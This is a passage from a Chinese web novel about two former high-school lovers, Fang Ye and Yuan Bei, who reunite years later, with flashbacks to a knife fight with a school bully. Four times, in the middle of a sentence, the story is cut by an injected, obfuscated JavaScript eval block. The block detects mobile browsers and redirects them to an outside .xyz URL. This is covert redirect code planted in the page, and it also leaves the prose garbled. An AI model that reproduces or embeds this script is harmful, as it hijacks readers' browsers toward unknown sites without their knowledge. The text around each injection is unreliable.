睡眠不到六小时的原北当先迈出电梯,说:“你赢了。” 方野落后一步,从后面窥视他的侧脸,在原北耳边多盯了两眼,就被抓了个现行。 “好看吗?”原北似笑非笑,转身将餐券交给餐厅主管,“姐,多给他拿点。” 方野端着满满一盘早餐坐下。他来之前草草吃了点东西,坐下后才发觉原北已经吃过了,正闲适地翘着一条腿翻着手机。 共进早餐只是幻觉,他有些后悔,叉子叉起一块培根,不小心划到餐盘,在安静的角落发出刺耳的一声。 原北被惊动,支着脸看向他,方野尴尬地放下叉子,掩饰地端起橙汁喝了一口。 “不想吃?”原北问他。 方野摇头否认,犹豫地看着被叉子卷起来的培根,说道:“我以为你还没吃。” 他觉得后半句说出来太自作多情,倒是原北思索片刻后笑道:“哦,你想和我一起吃?” 方野不知道怎么承认,过了会他说:“是不是不太好?我昨晚不该跟你吵架,抱歉。” 原北定定看他一会,沉黑的眼睛捉摸不透:“当老板后,你表达能力提升不少啊。” 方野刚咽下去的培根堵在胃里:“你不高兴?” 原北叹了口气,他笑了笑,这个短暂的笑容都来不及在方野视网膜上多停留一秒。接着他看向窗外,楼下的喷泉刚开始工作,起伏喷涌的水柱伴着音乐的节奏,折射出彩虹的微光。 他没回答这个问题,不过方野已经意识到他问错了。 好像气氛又被搞糟。 原北将大衣脱下,解开左手衬衫的袖扣,放在餐桌上。 明亮的餐厅光线里,方野能看清他手腕上凸起的一块骨头,以及薄而洁净的皮肤下淡青色的血管,手指关节处透出健康的淡红。 “不是来还手表吗?”原北漫不经心地说,“帮我带上吧。” 来的理由之一是还手表,等真的见面,方野却又故意把手表忘到脑后。可原北记得了,他也不能说什么,拿出接近体温的手表,解开表扣。 原北 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653031|172820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手没有力气,就这么搁在铺了米黄色桌布的桌面上。方野没敢看他,只是握住他温暖的手腕抬起来,手腕内侧温热的皮肤紧贴着他的掌心,仿佛连底下的脉搏跳动都能传递过来。 手表很容易就套上,方野一手握住原北的手腕,另一只手的手指合拢,咔哒一声,手表物归原主。 一切动作完成后,原北的手腕也被方野圈在手中。他用的力气不大,只是戴上后有些出神,直到原北轻轻将手抽回去,方野才如梦初醒。 他自觉应该说声道歉,但不想说。 坐在对面的原北按了铃要了杯咖啡,对刚刚的事毫无感觉的样子,似乎并不介意。 11 原北下楼时问:“车停在哪里?停车费记在我房间号上吧。” 方野正毫不讲理地对他的车产生一种突然的厌恶感——主要是没人想在光鲜的前任面前展示自己补过漆的二手车。他按开了锁,不远处那辆平平无奇的黑色轿车跟着亮起灯。 原北看了眼车位号,拿出手机边登记边说:“你去开车吧,我在这里等你。” 方野后悔都来不及,不像昨晚有夜幕遮挡,现在原北可以看出来了,他过得其实并没有那么好。 遇到前任时没有发家致富,可能是世界上最倒霉的事之一。 原北拉开车门坐进后座,问他:“你今天怎么安排?” “……什么?”方野思路被拉回来,“我来还手表,然后……” 他卡住,原北这时从后面靠近,手机在他面前晃了晃:“不是说请我吃饭?那家老陈餐馆还在吗?在的话中午去那里吃吧。” 方野把方向盘攥了攥,先是说“在”,又说:“现在是他侄子接班。” 原北疑惑地嗯了一声:“他侄子,谁?” “陈飙。” 原北没出声,方野通过镜子向后看他,看见他短促地皱了下眉,一幅被坏了兴致的样子。 “怎么是他?” “那是他叔的店。当时毕业后他去读大专,没两年退学了,就回来饭店打工,现在算半个店长。” 原北手指在屏幕上滑了几下,语气冷淡下来:“这么倒霉,换一家吧。你有什么推荐的吗?” 最后定下来的是一家连锁餐厅,原北嘴挑,看上去很勉强,不过别的店他更没兴趣。 方野看他不高兴就会下意识自责,尤其是他该尽地主之谊的时候,随后他想为什么要对抛弃他的前任愧疚,一颗心被左右来回撕扯。但原北很快便将那点情绪收起来了,他平静的脸如同一座玉石雕像。 “老板!” 上午这段时间没什么客人,小梁正在擦玻璃门,看见方野的车立马举手招呼,没料到车上还有另一个人。 原北不见外,含着笑也对她点头,仰头看了眼招牌,转头问方野:“昨晚没来得及问,起这个名字,是因为学校周日放假吗?” 方野:“不是。” 原北看起来是想听他的解释,不过小梁已经拿着抹布兴奋地凑上来,他只好打住话头,简短地介绍:“原北,平原的原,北方的北,我的朋友……高中同学。” 原北温和地说:“你好。”同时手已经伸出去,和小梁轻轻握了一下。 小梁反应很直接:“老板,当年一中那么多帅哥的吗?” 方野不知道怎么回答,皱了皱眉。原北则很坦然地接受夸奖,自若地走进店里,拿起托盘和夹子。 “你们店里有提成或者奖金一类的吗?”原北还说,“我可以办张卡,业绩算给小梁。” “你当我们这里是理发店?”方野硬邦邦地说,“没有!” 5. 第五章 12 方野对于陈飙已经没有很深的印象,一开始他也不知道他和原北去过好几次的陈家餐馆老板就是陈飙的叔。 如果知道,他们当时绝对不会去吃。 阳城不大也不小,几年来方野只碰到过一次陈飙,还是过年商场搞活动时隔着一段距离匆匆擦肩而过,连句招呼都没必要打。 原北尤其厌恶陈飙。应该是因为他这个顺风顺水的大少爷来到阳城后,头一回在他从来看不起的小混混手里栽了跟头。 当时原北顶着一张可以上电视的脸,背的包穿的鞋都是阳城这群几乎没怎么离开过县城的高中生没见识过的牌子,搜出来价格更是堪称科幻。 简言之,他们上称按斤卖都比不上大少爷一根小手指。 少爷也很傲气,坐在最后一排,每天脖子上挂着耳机,不跟这里的任何人社交。 方野作为同样长期留守教室最后一排的异类,光荣成为原北的唯一同桌。 尽管如此,还是有人主动来找原北说话,随后就发现不是他不理人,少爷只是抹不开面子主动搭话。一旦熟悉起来,原北不会让朋友觉得不舒服。 一群高中生不怎么在乎这个,他们对原北还是很好奇的。有人主动打招呼后,原北就很顺利地融入社交圈。 他想讨人喜欢还是太容易,更不用说有那张脸在,绝大部分女生不会讨厌他。 原北就这么成为一时间的风云人物。对比之下,座位离他不远的方野,显得格外孤僻阴沉。 方野不喜欢他。 原北好说话,出手还大方,下课不用他起身,就会有一圈人自发围到他附近。 跟他隔了一张桌子距离的方野烦不胜烦,他只想躲开没必要的人、没必要的交流,偏偏原北要做那个“大明星”。 起初他还以为这也会是一个不受欢迎的人。当然他想得太天真了,青春期少年那种还未成型的、以为找到同类的宽慰倏忽间消散,化作方野心里对原北莫名其妙的敌视。 而一中虽然是阳城最好的高中,但毕竟整个阳城都没几所高中,因而一中里还有相当数量的混子学生。 尽管好学生坏学生之间存在着天然的分界线,可对于部分人来说,所谓“圈子的规矩”是不能打破的。 比如原北不能既成绩好又会玩,他不能在好学生中受欢迎的同时,还请无所事事逃课在操场边聊天的女生们喝奶茶。 陈飙跟他们同一届,成绩很烂,能进一中完全是靠他爸妈花钱托关系。他若放在阳城职高里,周围大把的看守所预备役,恐怕成不了气候,但进了一中,着实是山中无老虎,猴子也能翻身做两年的大哥。 陈飙家境不错,死要面子,听身边人夸新来的转学生多么有钱,已经很不自在。恰好那天原北体育课请他刚刚分手的女朋友吃了包糖,陈飙总算抓住了由头,扬言要原北吃点苦头。 方野对体育课不感兴趣,他提前回了教室,很无聊,翻了翻教室前面的杂志,又坐回去写数学试卷。 下课铃响后,走廊才嘈杂起来。方野用铅笔画了条潦草的辅助线,这时他听到几个男生的说笑声,吵得要命。 被围在他们中间步入教室的原北是最安静的那个,仅侧头听着,面上笑意微微,并不怎么插话。但谁都能看出来,原北是这个小团体的中心。 原北跟他那些“随从”坐下,挡住一侧的光线。方野短暂地皱眉,耳边突然“嗒”的一声,放下一瓶滚着水珠的汽水。 “给你带的。”原北自交谈中抽空回他一句,态度十分之自然,“柠檬口味,你尝尝?” 方野还没构思好拒绝的话,原北已经转过去,将他抛在脑后。 谁很需要这瓶汽水吗? 方野心里涌起一股恼怒,以及不知从何而起的一种被看轻的耻辱。总之,他的选择是拿起冰凉的汽水,向后扔进不远处的垃圾桶。 “咚”的一声,动静不小,几个人的交谈被打断了。 原北脱了校服外套,正支着微微泛红的手臂和身旁人说话,听见声音,转过脸,乌黑的头发下,他的眼睛诧异地睁大了一瞬。 但也仅此一瞬。他旁边有反应快的看不过去,已经站直了身体,皱眉说着“你——”的时候,被原北抬手拦住。 “不喝就不喝吧。”他漫不经心地说,“没什么大不了的。” 青春期正是把屁大点面子看得比天大的时候,不是说句算了就算了,几个人的气氛有些紧绷,只有方野知道他握着笔的手心都是汗。这时隔壁班的一个人很快地从后门窜进来,打破这一时的僵局。 “哎——原北,你在这里啊?那个,陈飙放话了,他说要你今晚留下来等他。” 班里已经回来不少人了,顿时引起一阵喧哗。方野有些记不清具体的情况,只记得原北先是惊讶,而后皱眉,带着一种隐含的蔑视的微笑。 他说:“我知道了,不过,陈飙是谁啊?” 教室里静了静,紧跟着是一阵“哇”的起哄声。 13 “咦,这么老的汽水,还没停产?” 方野一直站在靠门的地方发呆,是原北询问小梁的声音令他回神,就看见原北稍微弯腰,手指搭着透明的玻璃柜,颇有兴味地注视着冰柜。 昨晚来的时候冰柜被盖上了,没有引起原北的注意。此刻正运行的冰柜干净明亮,里面一瓶瓶各种牌子的饮品排列得整齐。 他也不见外,拉开柜门,手指向里面探了一下,回头笑着对方野说:“这个温度,冰柜是不是还没有室外冷?” 方野走过去,站在他身侧,回答:“是,不过一年四季都开习惯了,而且室内热。” 原北唔了一声,脸上闪过回忆什么的神色,接着说:“我之前上学的时候,就喜欢下雪天去买冰淇淋吃,那个时候也不觉得冷。不过,现在冷饮恐怕是不好卖的吧?” 他这么说的同时,手伸进去,拿起一瓶汽水。 汽水是阳城本地的牌子,卖了几十年。这些年市场冲击下,不像以前那么常见,但在阳城始终有忠实顾客。 也巧,他拿在手中的就是柠檬味。 方野其实不是很想见到这个口味,忍不住问:“你喜欢喝这个?” 原北侧着的脸转过来,正对着他,脸上闪过一丝惊讶:“不,我不喜欢。我喜欢桃子和薄荷的。” 方野感受到一种突如其来的不适,他自己也想不清来源和去处,脑子里不断回放着那天被他扔进垃圾桶的沁着水珠的汽水。 隔了十年……不,比十年还要多,他好像终于想明白了一个问题。 原北当初给他汽水并没有想太多,单纯只是因为自己不喜欢,所以顺手塞给没什么交集的同桌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653032|172820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外热内冷,会给行为套上一个好看的壳子,完全符合他那套有些自我中心的少爷做派。 原北的抛弃只有一个原因,那就是不喜欢。 “不过再试试新口味也不错。现在可以开吗,老板?”原北问他,“我都忘了是什么味道了。” 方野说:“开吧,我请你。” 他还想去拿原北喜欢的口味,被原北推开手,说着“我能喝多少”,又很有探索欲的继续去看面包了。 原北这些年应该没吃多少苦,应该说他从生下来就没怎么吃过苦,连委屈都很少受。方野能看清他细致的皮肤和浓密的黑发,模样标致又年轻,像个刚毕业的大学生,说不清心里什么感觉。 他自认为这些年不算有多难过,但也不好过。和原北失联的十一年多里,时不时方野会想,他痛苦的时候,原北会不会也在痛苦,哪怕有他的十分之一? 假如两个人能有过哪怕那么一秒钟同频共振,他都会觉得这场恋爱不算白谈。 这么多年积压的负面感情好像会长出触手,在昨晚已经按捺不住地试探着伸展,可原北明显在回避。 方野想着想着脑子里又开始乱,他盯着原北的背影,原北有所察觉,回头看了他一眼。 那一眼平静至极,短暂得像错觉,随后原北将东西放上收银台,微笑着同小梁聊天。 方野走过去,听清了原北的后半截话:“……卡的额度最高是一千吗?那我办一张吧,充一千送二百?” 正说着,原北的手机已经打开付款功能。方野的手按上去,骨节鲜明,手掌宽大,把他的手机和手一起按回冰凉的大理石台面。 “不用。”方野说。 原北却说:“等一等,好冰,方老板,你要抢我的手机吗。” 方野意识到把他的手也按了下去,连忙松开。原北揉了揉手指,然后举起付款码,小梁则本能地跟着举起机器一扫。 滴。 收银机屏幕上显示出付款的数字,原北将手机一扣,伸展开的手指修长柔韧,愉悦地弯起指节敲了敲,毫无疑问刚刚并没有受什么影响。 跟以前一样,他随口两句话,就哄得方野团团转。 “好啦,老板。”他将一袋子面包甜品放在收银台内侧,“晚上我再来取,我们去吃饭吧?” 方野发现原北似乎只是来花钱,因为他看上去跃跃欲试想再开一张卡。 “你是什么意思?”他拿着车钥匙,眼睛看着前方,想不通,压低声音问,“补偿我?我很缺你的这点钱吗?” 原北露出惊讶的样子:“这算不上补偿,我只是想一般来说,有冤大头来办卡,你不应该感到开心吗?” 方野深吸一口气,原北继续说,“哦,所以你是需要补偿,是吗?那我们等下可以谈谈,我当年不懂事,确实有些事做得太过分了……你心里的价格是多少?” “砰”的一声巨响,原北脸色骤然一变。重逢以来,他一直游刃有余的脸上第一次出现如此明显的震动情绪。 方野在自己车门上踹了一脚。 他个子大,力气也大,车本来也不是什么好的二手车,车门都被他踹得凹进去了一块。 方野对着车门和不太清晰的车窗一阵阵喘息,随后他冷冷回头,偏高的眉骨下,眼睛看着原北:“谈钱,是吗?你打算多少钱买我?” 6. 第六章 14 车内一片凝滞的安静。 原北本来要坐后座,方野则在冲天的怒火下让他去副驾驶。原北手扶着车门,仔细地观察着他的表情,随后顺从地坐进副驾驶,大概是怕方野一脚油门撞树上,带他们一起去死。 死这个字让方野接着脑子清醒了点。原北不可能知道他的想法,是他自己有着一股开车带他们两人去死的冲动。 但原北坐在他旁边,拧开汽水喝了一口,什么都没说。方野瞪着前方,深呼吸后慢慢平静下这个想法。 原北固然是个混账前任,可方野自己也不是什么好东西,他们两个不是东西的人应该继续活着。 订的餐厅不是很远,到地方后,方野将车停去地下停车场。原北下车,认真地观摩一番车门上的凹陷。 方野下车后才感到迟来的愤怒的余波,他指尖一阵阵发麻,扪心自问一通,也没有得到答案。 “看什么,好看吗?” 原北没有正面回答,他说:“方野,你以前脾气没有那么坏。” 方野冷冷地说:“你很了解我吗?” 他说这话置气居多,没料到原北转过身倒着走了两步,看着他:“确实不是很了解。” 这话听起来很诚恳。 方野心里开始一阵一阵发闷,认识他的人如果看到他在原北面前的表现估计也会吃惊。 日常生活里的方野一向沉默寡言且表现得没什么脾气,很少和人交际,只有在原北面前,常年积攒的怨恨才有出口。总之,让他从一个不起眼的小老板,变成一个怨夫。 “如果你了解我,你就知道,我看不上你的什么补偿。”方野生硬地说。 原北又转过身,也不看路,他身后不远处是一辆没停好的车。方野手比脑子快,先一步拉住他。 金属的腕表硌着方野的手心,同时还有一圈细腻的皮肤,温度比他手心低一些。 方野顿了顿,没放手。他没想到,原北也没有立刻抽出手,只是等待几秒,黑眼睛注视着他,慢慢地将手抽离。 他微微发凉的、柔韧的手指和方野的手指贴住再分开。 “……后面有车。”方野欲盖弥彰。 原北回头望了一眼,笑道:“谢谢了。” 选餐厅主要是原北的主意,他挑了一家新开的传统风格餐厅,人均价格不低。方野不是很想让他在这里请客,显得自己好像在占便宜。 不过原北嘴挑,首要的应该是满足少爷的嘴。 餐厅人不多,环境清幽。虽然只有两个人,还是选了一间私密性很强的包间。 穿着旗袍的服务员进来倒茶,原北翻了翻菜单,用笔勾了几道,就推给方野。 方野发现大半菜名都有些不知所云,凭感觉选了两道,还是原北看不下去,又添了一道菜。 “小心吃不完。” “吃不完可以打包。” 方野手在桌边按了一下:“打包让我带回去?” 原北正低头看手机,闻言抬头,脸上是一种无辜的迷惑:“嗯?你不方便?那就不带,多吃点就是了,我看他家分量挺小的。” “还是说……”他好像反应过来什么,“你家里还有人?”说到最后,原北对他笑了笑。 方野挺想说一声“是”,不过他家里除了他之外没有半只活物,毫无人气,主要是原北看起来不在意。最后只能说:“带回去也没有人吃,我独居。” 原北总算放下手机,方野不得不承认他心里舒坦了一点,他很讨厌只有他们两个人的时候还有东西分散原北的注意力。 “那就好办了……”原北自顾自说,又冲他笑了笑,“不好意思,我不是想诅咒你一辈子单身,但是毕竟我们的关系,假如你有另一半的话……我们这样见面就很不方便。” 原北向后仰靠在椅背上,灯光蒙蒙地自上方洒落,笼罩住他白玉一样的面孔。 方野注视着他,煞风景地开口:“我没有。我不想谈恋爱,我也不是同性恋。” 15 原北举起一只手,手指张开,阴影投射。他漆黑的眼珠转动,望向方野:“还在生气我昨晚说的话?” 方野嘴唇紧绷,一言不发,他的脸有一侧沉在阴影里。 “我只是在表达我观念内认识到的客观事实。” 原北坐直了,他正色说:“出国后我去那边的某个机构看过,医生给我开了药。我记得很清楚,他说我的苦恼只是青春期出于好奇和性冲动下的意外尝试,不到无可救药的地步,不需要电击,只需要吃药。” 方野猛地抬头,他想也不想,用力攥住原北放在桌上的一只手,手背上迸出几道青筋。 手上力气很大,原北手指立刻被攥得发白。 他轻松地笑笑:“别紧张,我还没傻到去给自己做电击。再说当时身边同性恋、双性恋什么的很多,没去参加那种派对都算我洁身净好……我吃了药,看那种杂志和视频,身体确实没什么反应,后来感觉那种药让我白天没法好好上课,就不吃了。” 他说得轻描淡写,“我也断断续续跟其他男人试过,没有很大的兴趣,做不到最后,后面就一直单身了。所以我回来不是什么背着现任出轨前任,嘶,你手轻一点。” 方野迟钝地放开手,意识到他好像抓原北的手抓了太多次,如今那白皙的手背上泛着红。 原北收回手,自顾自按摩了几下手背和手指,坦诚地说:“我没什么好隐瞒的,我回来一是对以前的日子和人比较怀念,想看看阳城如今是什么样。二是我听说你还在阳城,所以想见见你。” 他就是这样,想藏事的时候可以波澜不惊,要说实话的时候又毫不遗留。“想见你”从原北口中说出,仿佛还带着几分从前的留恋,能让方野义无反顾跳下去。 方野感觉自己在原北面前逐渐变得渺小又飘忽,他不知道在等什么答案,然而十分期盼,问:“你来见我做什么?” 原北双手撑着桌面,他靠近了,静静凝视方野的脸。方野在他眼中看到了一点感伤,心里很惊奇,因为原北是不应该有这种感情的。 “我说实话你容易生气,但是我必须告诉你。我当时很年轻、冲动,也很无知,我回来是想要补偿你,或者说弥补我当年的错误。不是可怜你,只是我……” 这个答案并不是很超出方野的预料,他已经隐隐看出原北的意思,这时终于确认,心里说不出什么感觉。 “你不是在可怜我?” “不是。” “你还喜欢我?” “不是。” 方野下了定论:“你现在就是在可怜我,哪怕你没有意识到。” 他很想笑,不合时宜,但是不知道为什么。可能这件事本身就很可笑。 原北平淡地说:“我也没想到你会这样。” 方野在阳城生活了二十多年,他退学回来后,在阳城不可避免会偶尔遇到以前的熟人。小地方坏事传千里,正常人大概会选择逃跑去别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653033|172820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的城市,可方野一贯是用木然来对待这一切。 这样下去他也习惯了,直到原北出现在他面前,那根刺迟缓地穿透一层又一层的布,刺破他的皮肤和骨骼,直抵心脏。 “所以看到我这样,你产生了愧疚?”方野不再看他,嘴上还在追问,“退学是我自己的选择,跟你无关,你不用感到自责。” “你自己的选择?可是我没看出来你对你自己负责。” 方野克制不住地发现他眼前出现某种奇妙的闪回景象。夏天,仍然是夏天,原北穿着很随便的短袖短裤,露出清瘦的脖颈,将他桌上和冰箱里的酒全部扔进垃圾桶里。 “如果你不能对自己负责的话,”他转过脸,因为过于强烈的日光,那张面容在方野视野里并不是很清晰,但声音仿佛浸过冰水,“方野,那你就做到对我负责。” 原北当时听上去冷漠、疲惫,似乎还很失望。方野不知道他为什么立刻听话,他只是伸出手,先是抓住原北的手腕,随后沿着他露出的手臂一直向上,直到他紧紧将原北抱在怀里,宛如某种需要寄生的生物找到依靠。 他们僵持着,直到原北的态度出现些微的软化。 “别抱那么紧,”原北在他怀里无奈地侧了侧头,“说了你又不能好好听话。” 方野低头,濡湿的嘴唇贴上他的耳廓:“……你说什么我都听。” 原北就轻轻地笑起来,声音变得柔和了点:“别喝酒了。过来,听我跟你说。” 随后这一幕便倏忽远去,面前的原北正在低头研究茶杯,垂下的黑发露出一线雪白的后颈。 “在国外反而还能戒酒?”方野生硬地提起话题,“你以前也喝一点的。” “你不是也开始抽烟?” 原北头都没抬,轻而易举回敬回来。 他不提还好,一提起来方野就开始不舒服。幸好餐桌抽屉拉开有薄荷糖,他拆了一块含进口中。 “戒了。” 原北放下茶杯,抬眼:“从昨晚开始戒?” 方野咯吱一下将薄荷糖咬成两半,他默不作声将手机推过去,正在播放的是他凌晨爬起来像神经病一样拍的视频。 视频里方野把家里所有的烟和打火机一起打包进垃圾袋,再全部拎下楼,扔进小区的垃圾桶。 原北安静地看完,手指捏着手机一转,还给方野,评价道:“还好凌晨时候没什么人,不然我怕你吓到谁。” 方野以为他会有什么表示,耐下性子盯着他,原北想了想又说:“戒烟也是为你自己身体好。” 他明知道方野的意思,却避而不谈。 “这话谁不会说?”听上去是又要吵架的意思。 “我说的不对吗?”原北格外平静,“你可能都没有定期体检过吧。” 方野故意想激怒他一样脱口而出:“没必要,该死的时候自然就死了。” 其实他就是想逼迫原北承认一个现实,这么多年过去,只要原北说一句话,方野就能戒抽了好几年的烟,就能把所有的东西都扔掉。 原北给他一个完全的正视:“我们都长大了,方野,你清楚,我其实也不过就是一个普通人。我们谁都不能随心所欲。” 门被敲响,服务员进来上菜,两人不约而同停止说话,只看着冉冉而上的热气。 一种莫名的抽痛袭击了方野,他归结于缺乏睡眠,罪魁祸首就坐在他对面,刚刚还在他店里充了卡。 方野直接说:“我把钱退给你。” 7. 第七章【有回忆】 16 服务员安静地出去,带上了门。 “算了吧,那点钱,还要跟我斤斤计较。” 方野知道为这个和他纠缠很不好看,只是心里有气,总是不想轻易妥协。 房间里很热,原北将大衣脱下,里面是米色的马甲和衬衫,他顺手将衬衫的袖子卷上去。 袖子卷得有点高,右手小臂上露出一道浅色的伤疤,看起来细长,似乎再过几年就能消失。 方野专注地盯了很久,引起原北的注意。他满不在乎,看了眼疤痕:“我都忘了,好像比以前小了很多。” “没去做手术去掉?” 原北笑了笑:“费那个劲?” 方野心想,其实还是在意的,否则怎么会听见陈飙的名字就翻脸? 最开始原北根本就没有把这种小地方不成气候的混混放在眼里,他当时问那句“陈飙是谁”确实发自真心,但也不得不承认,天然地带了几分不屑。 听到周围人的解释后,他歪头笑笑,说:“拍黑|道电影么?好幼稚。” 说完就把这件事扔脑后了。 自然,看热闹的传话筒哪里都有,这边就有人迅速将话传到楼下。陈飙在一中没栽过跟头,认为不存在有人听了他的约架还敢违逆的可能性,单方面认定新来的只是嘴硬。 当然,陈飙能在一中混到高三,除了他家里舍得花钱给他保驾护航外,他自己心里也有数,不会搞得太过分。 尤其这种家里有钱的好学生,一般他是不愿意招惹的,也就是看原北是外地转过来,家里没人跟着,才决定找茬。主要目的是恐吓,如果原北识相,他说不定也不打人。 然而原北就这么放了陈飙的鸽子,翘掉晚自习,去市中心新开的西餐店吃了顿饭。 这可就惹狠了陈飙。 他最讨厌被下面子,当晚就下定决心,要结结实实整一回原北。 原北之前是在省会上学,听说还是私立的国际学校。 陈飙托人打听,没打听到多少信息,只知道几句风言风语。说什么原北是小三的私生子,说原北的父母都有会遗传的精神病,还有说私立学校很乱,原北和老师谈恋爱才被迫转学的。 无论真假,都是把柄。 陈飙把收集到的流言添油加醋在学校里传播,纵然原北日常行事和传言里不一样,也没有之前那么受欢迎。 这次,原北主动找上了陈飙。 当时正好是升旗仪式结束,众人熙熙攘攘回教室的时候,原北没有上楼,而是去了陈飙的班。 方野被班主任叫去填下学期的贫困生补助申请表,下楼经过走廊时,被看热闹的人堵住。 “真没想到你那么无聊。”原北说话的声音自人群中传出,他还是笑微微的模样,面对比他高的陈飙看上去毫无惧色,“就这点手段?” 陈飙说了什么,方野没听清,他只听见原北不屑的一声笑:“我如果想抢你女朋友,恐怕你这辈子都别想谈恋爱了。” 陈飙一把抓住他的领子,原北拨开他的手,音色转冷:“说吧,你想怎么解决?” 解决方案并不复杂,陈飙要求用“男人”的方式解决,即原北跟他一对一,在后门打一架。 方野总算挤过人群,没看见原北的表情,只听到他简短的一声“好”。 当天下午最后一节是活动课,基本等同于自习。除了班里几名体育生和艺术生会出去训练,其他人大多留在班里写作业。 原北在写数学试卷。他转学后还没参加过一中的统一大考,不过就从日常的测试和做题情况看,他成绩相当不错,学习进度也比一中快。 他已经写到最后一大题。方野唯独数学还算过得去,最后一题的最后一问他也有些拿不准,看着原北的笔不停动着,其实很想看一眼他的答案。 省会的国际学校……成绩会很好吗?能不能拿到第一? 方野心中短暂闪过阴郁的念头。 这时原北的笔停顿一下,随即有些重地在草稿纸上划下两道,应该是做着做着发现算错了。划完后,他仍旧力道不轻地迅速写下两个字,将笔一放,拿起水杯出去了。 原北控制情绪的能力比绝大多数同龄人强,方野在这段时间的观察中已经发现了。哪怕是刚才,如果不是方野跟他只隔着一张课桌,也不会发觉原北的心情不好。 他的表情没有变化,力道只比平时重一些,大约是为了收拾心情,所以拿起水杯出门,动作也都很轻,令人看不出异常。 方野心想,这个同桌,不止是虚伪,简直有点可怕。 这么想着,他的手已经悄悄地伸出去,将原北的草稿纸翻起看了眼。 草稿纸上过程清晰,用的是跟方野不一样的思路,但结果一致。 方野看了会,目光下移,答案下方被画了两道杂乱的线,旁边是两个笔迹锋利清俊的字——傻逼。 17 谁也没想到,当天晚上,原北没来。倒是脸色阴沉的班主任跟着两位民警进教室,挨个问了一通,方野作为半个证人和同桌,被叫去了办公室。 把充满窃窃私语的教室抛在身后,方野心中一跳,明白是出事了。 对于班里唯一这个家境困难又寡言少语的学生,班主任一直是采取温和的态度:“方野,没事,别紧张,就是问问。你说你上午听到,原北和陈飙约架?” 那时候的一中,走廊里监控覆盖面很窄,主要对准楼梯口,对于班门口发生的事一无所知。而教室里的监控,为了省电,只在大型考试的时候才会打开。 方野隐约意识到,他的证言可能还挺重要的。 “对。”他说,“他们上午在三楼,陈飙班门口。” “约架,是谁提出的?” 上午的情景,迅速在方野脑海中复现了一遍。 “原北去找的陈飙,陈飙提出来要打架解决。” 班主任满脸不出所料,头疼地摆了摆手,两位民警追问了几句别的,就让方野回了教室。 方野回班后难得受到如此多的关注,对于好奇同学的询问,一概回答不知道。其他人知道他性子古怪,都很失望,指责他没意思,方野也不说话。 班主任确实没有明确告诉他发生了什么,不过方野见有警察来,心里大概可以推测出事实。 恐怕是打架打出了意外。陈飙既没有风度也不要脸,下了黑手? 方野很快又想,我担心他吗?我担心这个做什么?根本就不是一个世界的人。 不要想太多了。 翌日早上,早自习结束的时候,原北才露面。 他脸侧有一块擦伤,涂了药水,因为皮肤白,显得尤为严重。更令人瞩目的是他的右手,校服外套下,能看见他右手裹缠的纱布。 正是课间,班里人立刻哗然,尤其几个跟他关系好的男生,大呼小叫地围上去,连问怎么了。 “没什么。”原北看起来没睡好,但神情很镇定,和往常一样,“昨晚出了点意外……” 他笑着打太极,和以前一样,带着一圈跟班在位子上坐下。 “嗯,陈飙那伙人有点阴,他带了刀,我没想到。” “我靠,你胆子真大,一个人就去了?” “就不能理他,我妈说了,这种人越理他越没完没了。” “你知道昨晚还有警察过来吗?吓死了。哎对,方野,他还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653034|172820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被叫走了。” 方野将书放下,没能成功屏蔽这群人的声音,不由自主偏头。 恰好,原北也转头看他,两人的视线罕见地正面对上。 “老师找你了?”原北问,语气不亲近不疏远。 方野在回应与不回应中纠结半晌,以为再次被无视的原北表情微微一敛,他没表现出来,方野却敏锐地捕捉到了不愉。 他转回去,若无其事地和身边的男生继续说话时,方野开口:“因为上午你找陈飙的时候,我看到了,所以叫我过去。” 原北看着他,哦了一声,没作出更大的反应。方野组织好语言,像卡了半天的机器修理好错误,“我就说是你去找的他,他提出要约架。” 原北嘴角挑了挑:“嗯,是事实,谢谢你了。” 方野听到他跟那几个朋友解释,说陈飙玩不起,手段脏,一对一想变成车轮战。 “我打他脸了。”原北轻笑一下,漫不经心地说,“他就掏了刀,划到我,正好有人路过看见,就报了警。” 